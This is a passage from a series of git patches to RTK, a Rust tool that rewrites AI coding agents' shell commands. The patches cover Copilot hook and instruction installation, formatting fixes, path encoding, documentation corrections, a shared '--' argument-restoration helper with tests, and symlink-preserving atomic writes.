$COPILOT_HOME) ``` -Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes only `~/.copilot/hooks/rtk-rewrite.json` — the Copilot CLI docs define no user-level instructions file. +Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes the same hook config to `~/.copilot/hooks/rtk-rewrite.json` and the RTK block to `~/.copilot/copilot-instructions.md` (both respect `$COPILOT_HOME` if set). Uninstall: diff --git a/src/hooks/init.rs b/src/hooks/init.rs index d349a96925..2d711073cf 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -4050,6 +4050,15 @@ fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } + let instructions_path = copilot_dir.join(COPILOT_INSTRUCTIONS_FILE); + write_rtk_block( + &instructions_path, + COPILOT_INSTRUCTIONS, + "Copilot user-level instructions", + "rtk init --global --copilot", + ctx, + )?; + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); write_if_changed( &hook_path, @@ -4063,6 +4072,7 @@ fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { } else { println!("\nGitHub Copilot global integration installed (user-scoped).\n"); println!(" Hook config: {}", hook_path.display()); + println!(" Instructions: {}", instructions_path.display()); println!("\n Applies to all Copilot CLI sessions on this machine."); println!(" Restart your Copilot CLI session to activate.\n"); } @@ -4117,6 +4127,31 @@ fn uninstall_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result Date: Fri, 29 May 2026 09:26:32 +0200 Subject: [PATCH 31/52] fix: fmt --- src/hooks/init.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 2d711073cf..0b18557195 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -6639,7 +6639,10 @@ mod tests { let temp = TempDir::new().unwrap(); run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); let instructions = temp.path().join(COPILOT_INSTRUCTIONS_FILE); - assert!(instructions.exists(), "user-level instructions must be written"); + assert!( + instructions.exists(), + "user-level instructions must be written" + ); let content = fs::read_to_string(&instructions).unwrap(); assert!(content.contains(RTK_BLOCK_START)); assert!(content.contains("rtk cargo test")); @@ -6654,7 +6657,10 @@ mod tests { run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); let content = fs::read_to_string(&instructions).unwrap(); - assert!(content.contains("Always use pnpm."), "user content must be preserved"); + assert!( + content.contains("Always use pnpm."), + "user content must be preserved" + ); assert!(content.contains(RTK_BLOCK_START)); } From 7853819fe0f4285708469766a3c62f3368ac6a5c Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 12:51:04 +0200 Subject: [PATCH 32/52] Update main.rs --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 672a3ec925..819d32b719 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,6 +1362,7 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] unsafe { + // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From b11f82751d268a7cc40d9d2aa1d8425d12fbcd03 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 12:57:03 +0200 Subject: [PATCH 33/52] allow unsafe code clippy + semgrep --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 819d32b719..62237dc2f5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1361,6 +1361,7 @@ fn main() { // Rust ignores SIGPIPE by default and with panic="abort" in the // release profile that becomes SIGABRT + coredump. #[cfg(unix)] + #[allow(unsafe_code)] unsafe { // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); From dd5362fd546ae07409dbd799f00f524800157f73 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 13:03:02 +0200 Subject: [PATCH 34/52] Update main.rs --- src/main.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/main.rs b/src/main.rs index 62237dc2f5..5c0f7462b7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,8 +1362,7 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] #[allow(unsafe_code)] - unsafe { - // nosemgrep: unsafe-block + unsafe { // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From 26ff547c25a408e40ec2e8b2d6ad10c8c98bcade Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 13:15:24 +0200 Subject: [PATCH 35/52] Update main.rs --- src/main.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/main.rs b/src/main.rs index 5c0f7462b7..7f11a3eb91 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,7 +1362,8 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] #[allow(unsafe_code)] - unsafe { // nosemgrep: unsafe-block + // nosemgrep: unsafe-block + unsafe { libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From 5989ac91b008dece0d36b62c2deb169a90d5063d Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 30 May 2026 17:19:13 +0200 Subject: [PATCH 36/52] fix(provider): sanatize more chars when encoding claude code project pathes Fixes #2150 --- src/discover/provider.rs | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/discover/provider.rs b/src/discover/provider.rs index ee76c7a169..a9b630a2b9 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -129,7 +129,7 @@ impl ClaudeProvider { /// `/home/chris/2_project` → `-home-chris-2-project` /// `C:\Users\foo\bar` → `C:-Users-foo-bar` pub fn encode_project_path(path: &str) -> String { - const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; + const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\', ' ', '[', ']']; path.chars() .map(|c| { @@ -421,6 +421,17 @@ mod tests { assert!(encoded.contains("Sites")); } + #[test] + fn test_encode_path_with_spaces() { + // Even if run on Unix, encoding should replace backslashes to match Claude's behavior + assert_eq!( + ClaudeProvider::encode_project_path( + r"/home/user/projects/[QZX-7K42] - Análise Genérica de Exemplo" + ), + "-home-user-projects--QZX-7K42----An-lise-Gen-rica-de-Exemplo" + ); + } + #[test] fn test_discover_sessions_missing_projects_dir_returns_empty() { let temp_home = tempfile::tempdir().unwrap(); From 67a5958459decb784bb0948b921e5ffd9c8ee52c Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sat, 30 May 2026 18:16:30 +0200 Subject: [PATCH 37/52] doc(init): fix documentation inconsistencies arount `rtk init` Fixes #213 --- README.md | 8 +++++--- docs/guide/getting-started/supported-agents.md | 9 +++++---- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 492589ef80..d91e21b246 100644 --- a/README.md +++ b/README.md @@ -107,10 +107,11 @@ rtk init -g # Claude Code / Copilot (default) rtk init -g --gemini # Gemini CLI rtk init -g --codex # Codex (OpenAI) rtk init -g --agent cursor # Cursor -rtk init --agent windsurf # Windsurf +rtk init -g --agent windsurf # Windsurf rtk init --agent cline # Cline / Roo Code rtk init --agent kilocode # Kilo Code rtk init --agent antigravity # Google Antigravity +rtk init -g --agent pi # Pi rtk init --agent hermes # Hermes # 2. Restart your AI tool, then test @@ -352,7 +353,7 @@ rtk git status ## Supported AI Tools -RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. +RTK supports 14 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. | Tool | Install | Method | |------|---------|--------| @@ -362,10 +363,11 @@ RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rt | **Cursor** | `rtk init -g --agent cursor` | preToolUse hook (hooks.json) | | **Gemini CLI** | `rtk init -g --gemini` | BeforeTool hook | | **Codex** | `rtk init -g --codex` | AGENTS.md + RTK.md instructions | -| **Windsurf** | `rtk init --agent windsurf` | .windsurfrules (project-scoped) | +| **Windsurf** | `rtk init -g --agent windsurf` | .windsurfrules (project-scoped) | | **Cline / Roo Code** | `rtk init --agent cline` | .clinerules (project-scoped) | | **OpenCode** | `rtk init -g --opencode` | Plugin TS (tool.execute.before) | | **OpenClaw** | `openclaw plugins install ./openclaw` | Plugin TS (before_tool_call) | +| **Pi** | `rtk init -g --agent pi` (global) | TypeScript extension (tool_call) | | **Hermes** | `rtk init --agent hermes` | Python plugin adapter (terminal command mutation via `rtk rewrite`) | | **Mistral Vibe** | Planned ([#800](https://github.com/rtk-ai/rtk/issues/800)) | Blocked on upstream | | **Kilo Code** | `rtk init --agent kilocode` | .kilocode/rules/rtk-rules.md (project-scoped) | diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index be70ddbd0e..d5a0ad87c7 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -61,7 +61,7 @@ rtk init --show # shows hook status ### Cursor ```bash -rtk init --global --cursor +rtk init --global --agent cursor ``` Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. @@ -140,7 +140,7 @@ The plugin fails open. If `rtk` is missing at load time, the hook is not registe ### Cline / Roo Code ```bash -rtk init --cline # creates .clinerules in current project +rtk init --agent cline # creates .clinerules in current project ``` Cline reads `.clinerules` as custom instructions. RTK adds guidance telling Cline to prefer `rtk ` over raw commands. @@ -148,13 +148,14 @@ Cline reads `.clinerules` as custom instructions. RTK adds guidance telling Clin ### Windsurf ```bash -rtk init --windsurf # creates .windsurfrules in current project +rtk init --global --agent windsurf # creates .windsurfrules in current project ``` ### Codex CLI ```bash -rtk init --codex # creates AGENTS.md or patches existing one +rtk init --codex # project-scoped (AGENTS.md) +rtk init --global --codex # user-global (~/.codex/AGENTS.md) ``` ### Kilo Code From 83cd93e7d7ac544e9d0a5783edfdabff04a41226 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 10 May 2026 02:10:47 +0200 Subject: [PATCH 38/52] chore(args): introduce a more generic solution for restoring double dashes in args Fixes #1669 --- src/cmds/git/git.rs | 200 ++----------------------------- src/cmds/rust/cargo_cmd.rs | 45 +------ src/core/args_utils.rs | 240 +++++++++++++++++++++++++++++++++++++ src/core/mod.rs | 1 + 4 files changed, 255 insertions(+), 231 deletions(-) create mode 100644 src/core/args_utils.rs diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index eaf8d8b5f9..b8ccfe9230 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1,5 +1,6 @@ //! Filters git output — log, status, diff, and more — keeping just the essential info. +use crate::core::args_utils; use crate::core::stream::{ self, exec_capture, CaptureResult, FilterMode, LineHandler, LineStreamFilter, StdinMode, }; @@ -102,65 +103,6 @@ pub fn run( } } -/// Re-insert `--` before the first path-like argument when clap has consumed it. -/// -/// clap's `trailing_var_arg = true` silently drops `--` when it appears as the -/// first positional argument (before any other positional). This means: -/// `rtk git diff -- file` → args = ["file"] (clap ate `--`) -/// `rtk git diff HEAD -- file` → args = ["HEAD", "--", "file"] (preserved) -/// -/// Without the `--` separator git may treat an unambiguous path as a revision and -/// emit "fatal: ambiguous argument". We re-insert `--` before the first path-like -/// argument; see `normalize_diff_args_impl` for the detection rules. -fn normalize_diff_args(args: &[String]) -> Vec { - normalize_diff_args_impl(args, |p| std::path::Path::new(p).exists()) -} - -/// Testable core of `normalize_diff_args` — accepts an injectable filesystem existence checker. -/// -/// The path-detection logic is: -/// 1. Explicit path prefixes (`.`, `~`) → always a path, no filesystem check needed. -/// 2. Contains path separator (`/`, `\`) → use `path_exists` to distinguish branch names -/// (e.g. `feature/auth`) from real paths (e.g. `src/main.rs`). -/// 3. Bare word with no separator → never a path (avoids injecting `--` when a file -/// happens to share a name with a branch or ref, e.g. a file named `main`). -fn normalize_diff_args_impl(args: &[String], path_exists: F) -> Vec -where - F: Fn(&str) -> bool, -{ - // Already has `--` — nothing to do - if args.iter().any(|a| a == "--") { - return args.to_vec(); - } - let path_start = args.iter().position(|arg| { - if arg.starts_with('-') { - return false; - } - // Explicit path prefixes — always treat as path regardless of existence - if arg.starts_with('.') || arg.starts_with('~') { - return true; - } - // Contains path separator — use filesystem check to distinguish - // branch names (feature/auth) from real paths (src/main.rs) - if arg.contains('/') || arg.contains('\\') { - return path_exists(arg); - } - // Bare word (no separator, no special prefix) — never inject `--` - // This avoids misidentifying a ref/branch as a path even if a same-named - // file happens to exist on disk. - false - }); - match path_start { - Some(idx) => { - let mut out = args[..idx].to_vec(); - out.push("--".to_string()); - out.extend_from_slice(&args[idx..]); - out - } - None => args.to_vec(), - } -} - fn run_diff( args: &[String], max_lines: Option, @@ -170,7 +112,7 @@ fn run_diff( let timer = tracking::TimedExecution::start(); // Re-insert `--` when clap's trailing_var_arg consumed it (issue #1215) - let args = &normalize_diff_args(args); + let args = &args_utils::restore_double_dash(args); // Check if user wants stat output let wants_stat = args @@ -1911,8 +1853,14 @@ mod tests { assert!(uses_compact_status_path(&["-b".to_string()])); assert!(uses_compact_status_path(&["--branch".to_string()])); assert!(uses_compact_status_path(&["-sb".to_string()])); - assert!(uses_compact_status_path(&["-s".to_string(), "-b".to_string()])); - assert!(uses_compact_status_path(&["--short".to_string(), "--branch".to_string()])); + assert!(uses_compact_status_path(&[ + "-s".to_string(), + "-b".to_string() + ])); + assert!(uses_compact_status_path(&[ + "--short".to_string(), + "--branch".to_string() + ])); assert!(!uses_compact_status_path(&["-s".to_string()])); assert!(!uses_compact_status_path(&["--short".to_string()])); assert!(!uses_compact_status_path(&["--porcelain".to_string()])); @@ -2002,134 +1950,6 @@ mod tests { ); } - // ----- normalize_diff_args (issue #1215 + branch-name fix #1431) ----- - // - // Tests use normalize_diff_args_impl with a mock path-existence checker so - // they don't depend on the real filesystem. - - fn exists_mock<'a>(existing: &'a [&'a str]) -> impl Fn(&str) -> bool + 'a { - move |p| existing.contains(&p) - } - - /// Baseline: `--` already present → no-op, args unchanged. - #[test] - fn test_normalize_diff_args_noop_when_separator_present() { - let args = vec![ - "HEAD".to_string(), - "--".to_string(), - "src/main.rs".to_string(), - ]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Core regression (issue #1215): clap ate `--` before a real file path. - /// When the path exists on disk, `--` must be re-inserted. - #[test] - fn test_normalize_diff_args_reinserts_separator_before_existing_path() { - let args = vec!["apps/client/frontend/src/MyComponent.tsx".to_string()]; - let normalized = normalize_diff_args_impl( - &args, - exists_mock(&["apps/client/frontend/src/MyComponent.tsx"]), - ); - assert_eq!( - normalized, - vec![ - "--".to_string(), - "apps/client/frontend/src/MyComponent.tsx".to_string() - ], - "-- must be injected before an existing path" - ); - } - - /// Ref before path: ["HEAD", "src/foo.rs"] where src/foo.rs exists → inject after HEAD. - #[test] - fn test_normalize_diff_args_reinserts_separator_after_ref() { - let args = vec!["HEAD".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); - assert_eq!( - normalized, - vec![ - "HEAD".to_string(), - "--".to_string(), - "src/foo.rs".to_string() - ] - ); - } - - /// Flags before path: ["--cached", "src/foo.rs"] where src/foo.rs exists. - #[test] - fn test_normalize_diff_args_reinserts_separator_after_flag() { - let args = vec!["--cached".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); - assert_eq!( - normalized, - vec![ - "--cached".to_string(), - "--".to_string(), - "src/foo.rs".to_string() - ] - ); - } - - /// Pure flags (no paths) → no injection. - #[test] - fn test_normalize_diff_args_no_injection_for_pure_flags() { - let args = vec!["--stat".to_string(), "--cached".to_string()]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Dotfile that exists on disk → inject `--`. - #[test] - fn test_normalize_diff_args_dotfile_is_path() { - let args = vec![".gitignore".to_string()]; - let normalized = normalize_diff_args_impl(&args, exists_mock(&[".gitignore"])); - assert_eq!(normalized, vec!["--".to_string(), ".gitignore".to_string()]); - } - - /// A bare ref (HEAD) that doesn't exist as a file → no injection. - #[test] - fn test_normalize_diff_args_no_injection_for_bare_ref() { - let args = vec!["HEAD".to_string()]; - assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); - } - - /// Branch name with `/` that does NOT exist as a file → no injection. - /// Regression for issue #1431: `rtk git diff feature/user-auth` must not inject `--`. - #[test] - fn test_normalize_diff_args_no_injection_for_branch_with_slash() { - let args = vec!["feature/user-auth".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&[])), - args, - "branch names containing '/' must not trigger -- injection" - ); - } - - /// Range syntax with `/` → no injection. - /// Regression: `rtk git diff main...feature/user-auth` produced no output. - #[test] - fn test_normalize_diff_args_no_injection_for_range_with_slash() { - let args = vec!["main...feature/user-auth".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&[])), - args, - "revision ranges like main...feature/user-auth must not trigger -- injection" - ); - } - - /// Bare word that happens to exist as a file on disk → still no injection. - /// A file named "main" must not cause `--` to be injected when the user - /// intends `rtk git diff main` as a branch comparison. - #[test] - fn test_normalize_diff_args_no_injection_for_bare_word_even_if_file_exists() { - let args = vec!["main".to_string()]; - assert_eq!( - normalize_diff_args_impl(&args, exists_mock(&["main"])), - args, - "bare words must never trigger -- injection even when a same-named file exists" - ); - } - #[test] fn test_is_blob_show_arg() { assert!(is_blob_show_arg("develop:modules/pairs_backtest.py")); diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index 5b8152ce0f..8726de40e9 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -1,5 +1,6 @@ //! Filters cargo output — build errors, test results, clippy warnings. +use crate::core::args_utils; use crate::core::runner; use crate::core::stream::{BlockHandler, BlockStreamFilter, StreamFilter}; use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; @@ -31,45 +32,6 @@ pub fn run(cmd: CargoCommand, args: &[String], verbose: u8) -> Result { } } -/// Reconstruct args with `--` separator preserved from the original command line. -/// Clap strips `--` from parsed args, but cargo subcommands need it to separate -/// their own flags from test runner flags (e.g. `cargo test -- --nocapture`). -fn restore_double_dash(args: &[String]) -> Vec { - let raw_args: Vec = std::env::args().collect(); - restore_double_dash_with_raw(args, &raw_args) -} - -/// Testable version that takes raw_args explicitly. -fn restore_double_dash_with_raw(args: &[String], raw_args: &[String]) -> Vec { - if args.is_empty() { - return args.to_vec(); - } - - // If args already contain `--` (Clap preserved it), no restoration needed - if args.iter().any(|a| a == "--") { - return args.to_vec(); - } - - // Find `--` in the original command line - let sep_pos = match raw_args.iter().position(|a| a == "--") { - Some(pos) => pos, - None => return args.to_vec(), - }; - - // Count how many of our parsed args appeared before `--` in the original. - // Args before `--` are positional (e.g. test name), args after are flags. - let args_before_sep = raw_args[..sep_pos] - .iter() - .filter(|a| args.contains(a)) - .count(); - - let mut result = Vec::with_capacity(args.len() + 1); - result.extend_from_slice(&args[..args_before_sep]); - result.push("--".to_string()); - result.extend_from_slice(&args[args_before_sep..]); - result -} - // --- Stream handlers --- struct CargoBuildHandler { @@ -291,7 +253,7 @@ where let mut cmd = resolved_command("cargo"); cmd.arg(subcommand); - let restored_args = restore_double_dash(args); + let restored_args = args_utils::restore_double_dash(args); for arg in &restored_args { cmd.arg(arg); } @@ -318,7 +280,7 @@ fn run_cargo_streamed( let mut cmd = resolved_command("cargo"); cmd.arg(subcommand); - let restored_args = restore_double_dash(args); + let restored_args = args_utils::restore_double_dash(args); for arg in &restored_args { cmd.arg(arg); } @@ -1275,6 +1237,7 @@ pub fn run_passthrough(args: &[OsString], verbose: u8) -> Result { #[cfg(test)] mod tests { use super::*; + use crate::core::args_utils::restore_double_dash_with_raw; #[test] fn test_restore_double_dash_with_separator() { diff --git a/src/core/args_utils.rs b/src/core/args_utils.rs new file mode 100644 index 0000000000..f5418b0cc8 --- /dev/null +++ b/src/core/args_utils.rs @@ -0,0 +1,240 @@ +//! Utility functions for argument handling, particularly for restoring "--" escape +//! arguments that clap consumes during parsing. + +/// Restores "--" escape arguments that clap consumed. +/// Handles: +/// - Single/multiple "--" swallowed by clap (restores each at its original position) +/// - "--" already present in parsed (no change) +/// - No "--" in original command (no injection) +/// - Args appearing before/after "--" in original (preserves order) +/// - Interleaved "--" and args (preserves relative positions, e.g., "-- arg1 -- arg2") +/// - Duplicate args on both sides of "--" +/// +/// Returns parsed_args unchanged if raw has same or fewer "--" than parsed +/// (meaning clap didn't consume any, or preserved them). +pub fn restore_double_dash(parsed_args: &[String]) -> Vec { + let raw_args: Vec = std::env::args().collect(); + restore_double_dash_with_raw(parsed_args, &raw_args) +} + +/// Testable version that takes raw_args explicitly. +pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) -> Vec { + let raw_dash_count = raw_args.iter().filter(|a| a.as_str() == "--").count(); + let parsed_dash_count = parsed_args.iter().filter(|a| a.as_str() == "--").count(); + + if raw_dash_count <= parsed_dash_count { + return parsed_args.to_vec(); + } + + // Find all positions of "--" in raw_args (skip index 0 = "rtk") + let mut dash_positions: Vec = Vec::new(); + for (i, arg) in raw_args.iter().enumerate().skip(1) { + if arg == "--" { + dash_positions.push(i); + } + } + + if dash_positions.is_empty() { + return parsed_args.to_vec(); + } + + // Build result by inserting "--" at correct positions relative to parsed args + let mut result = Vec::new(); + let mut raw_idx = 1; // start after "rtk" + let mut dash_idx = 0; + + while raw_idx < raw_args.len() { + // Check if current position is a "--" that was swallowed + if dash_idx < dash_positions.len() && raw_idx == dash_positions[dash_idx] { + result.push("--".to_string()); + dash_idx += 1; + } else if parsed_args.contains(&raw_args[raw_idx]) { + // This arg is in parsed_args, add it + result.push(raw_args[raw_idx].clone()); + } + raw_idx += 1; + } + + result +} + +#[cfg(test)] +mod tests { + use super::*; + + fn restore_with_raw(parsed: &[&str], raw: &[&str]) -> Vec { + let parsed: Vec = parsed.iter().map(|s| s.to_string()).collect(); + let raw: Vec = raw.iter().map(|s| s.to_string()).collect(); + restore_double_dash_with_raw(parsed.as_slice(), raw.as_slice()) + } + + // ============ Single "--" swallowed ============ + + #[test] + fn test_single_dash_swallowed() { + // rtk git diff -- file → clap gave ["file"], restore "--" + let raw = vec!["rtk", "git", "diff", "--", "file"]; + let parsed = vec!["file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "file"]); + } + + #[test] + fn test_args_before_dash() { + // rtk cargo test name -- --nocapture → args before "--" stay before + let raw = vec!["rtk", "cargo", "test", "name", "--", "--nocapture"]; + let parsed = vec!["name", "--nocapture"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["name", "--", "--nocapture"] + ); + } + + // ============ Multiple "--" swallowed ============ + + #[test] + fn test_multiple_dashes_all_swallowed() { + // rtk git diff -- -- -- → all 3 "--" swallowed, consecutive in output + let raw = vec!["rtk", "git", "diff", "--", "--", "--"]; + let parsed: Vec<&str> = vec![]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "--"]); + } + + #[test] + fn test_dashes_with_args_between() { + // rtk git diff -- arg1 -- arg2 → both "--" consumed, preserve positions + let raw = vec!["rtk", "git", "diff", "--", "arg1", "--", "arg2"]; + let parsed = vec!["arg1", "arg2"]; + // Result: each "--" inserted at its original position relative to args + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--", "arg1", "--", "arg2"] + ); + } + + #[test] + fn test_multiple_dashes_some_preserved() { + // rtk git diff -- -- → 2 in raw, 1 preserved in parsed + let raw = vec!["rtk", "git", "diff", "--", "--"]; + let parsed = vec!["--"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--"]); + } + + #[test] + fn test_compound_command_with_dashes() { + // Multiple segments with "--" → restore all + let raw = vec!["rtk", "cmd1", "--", "arg1", "&&", "cmd2", "--", "file"]; + let parsed = vec!["file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "file"]); + } + + // ============ "--" already present (no change needed) ============ + + #[test] + fn test_dash_already_preserved() { + // rtk cargo clippy -p pkg -- -D warnings → clap kept "--" + let raw = vec![ + "rtk", "cargo", "clippy", "-p", "pkg", "--", "-D", "warnings", + ]; + let parsed = vec!["-p", "pkg", "--", "-D", "warnings"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["-p", "pkg", "--", "-D", "warnings"] + ); + } + + #[test] + fn test_trailing_dash_preserved() { + // rtk git diff file -- → trailing "--" preserved + let raw = vec!["rtk", "git", "diff", "file", "--"]; + let parsed = vec!["file", "--"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["file", "--"]); + } + + // ============ No "--" in original (no injection) ============ + + #[test] + fn test_no_dash_in_original() { + // Various cases: branch with /, range, bare word, flags only + // All should return args unchanged (no injection) + let cases = vec![ + ( + vec!["rtk", "git", "diff", "feature/auth"], + vec!["feature/auth"], + ), + ( + vec!["rtk", "git", "diff", "main...feature"], + vec!["main...feature"], + ), + (vec!["rtk", "git", "diff", "main"], vec!["main"]), + ( + vec!["rtk", "git", "diff", "--stat", "--cached"], + vec!["--stat", "--cached"], + ), + ]; + for (raw, parsed) in cases { + assert_eq!(restore_with_raw(&parsed, &raw), parsed); + } + } + + // ============ Edge cases ============ + + #[test] + fn test_duplicate_args_both_sides() { + // -p pkg1 -p pkg2 -- -p pkg3 → restore after last -p + let raw = vec![ + "rtk", "cargo", "clippy", "-p", "p1", "-p", "p2", "--", "-p", "p3", + ]; + let parsed = vec!["-p", "p1", "-p", "p2", "-p", "p3"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["-p", "p1", "-p", "p2", "--", "-p", "p3"] + ); + } + + #[test] + fn test_empty_args() { + let raw = vec!["rtk", "cargo", "test"]; + let parsed: Vec<&str> = vec![]; + assert_eq!(restore_with_raw(&parsed, &raw), Vec::::new()); + } + + #[test] + fn test_cargo_clippy_missing_dash() { + // No "--" in original → no injection + let raw = vec!["rtk", "cargo", "clippy", "-D", "warnings"]; + let parsed = vec!["-D", "warnings"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["-D", "warnings"]); + } + + // ============ Git diff specific cases ============ + + #[test] + fn test_git_diff_ref_before_path() { + // rtk git diff HEAD -- file + let raw = vec!["rtk", "git", "diff", "HEAD", "--", "file"]; + let parsed = vec!["HEAD", "file"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["HEAD", "--", "file"]); + } + + #[test] + fn test_git_diff_flags_before_path() { + // rtk git diff --cached -- file + let raw = vec!["rtk", "git", "diff", "--cached", "--", "file"]; + let parsed = vec!["--cached", "file"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--cached", "--", "file"] + ); + } + + #[test] + fn test_git_diff_multiple_files() { + // Original issue: multiple files caused "fatal: bad revision" + let raw = vec!["rtk", "git", "diff", "--", "file1", "file2", "file3"]; + let parsed = vec!["file1", "file2", "file3"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["--", "file1", "file2", "file3"] + ); + } +} diff --git a/src/core/mod.rs b/src/core/mod.rs index fe017d910d..d5182bd340 100644 --- a/src/core/mod.rs +++ b/src/core/mod.rs @@ -1,5 +1,6 @@ //! Building blocks shared across all RTK modules. +pub mod args_utils; pub mod config; pub mod constants; pub mod display_helpers; From 508192dbdcc6a1a753afbd0c87f7255886fad2ea Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Mon, 25 May 2026 15:50:17 +0200 Subject: [PATCH 39/52] fix(init): preserve settings.json symlink during atomic write atomic_write() replaced symlinked settings.json with a regular file. Now resolves symlink targets before the tempfile+rename so the link itself is preserved and the real file gets updated. Covers both absolute and relative symlink targets. Closes #653 --- src/hooks/init.rs | 74 ++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 70 insertions(+), 4 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 0b18557195..713ad3187e 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -383,13 +383,37 @@ fn write_if_changed(path: &Path, content: &str, name: &str, ctx: InitContext) -> } } +/// Resolve the final write target: if `path` is a symlink, follow it so +/// the atomic rename lands on the real file and the symlink is preserved. +fn resolve_atomic_target(path: &Path) -> Result { + if let Ok(meta) = fs::symlink_metadata(path) { + if meta.file_type().is_symlink() { + let link_target = fs::read_link(path) + .with_context(|| format!("Failed to read symlink target: {}", path.display()))?; + if link_target.is_absolute() { + return Ok(link_target); + } + let parent = path.parent().with_context(|| { + format!( + "Cannot resolve relative symlink for {}: no parent directory", + path.display() + ) + })?; + return Ok(parent.join(link_target)); + } + } + Ok(path.to_path_buf()) +} + /// Atomic write using tempfile + rename /// Prevents corruption on crash/interrupt +/// Follows symlinks so the link itself is preserved. fn atomic_write(path: &Path, content: &str) -> Result<()> { - let parent = path.parent().with_context(|| { + let target = resolve_atomic_target(path)?; + let parent = target.parent().with_context(|| { format!( "Cannot write to {}: path has no parent directory", - path.display() + target.display() ) })?; @@ -403,10 +427,10 @@ fn atomic_write(path: &Path, content: 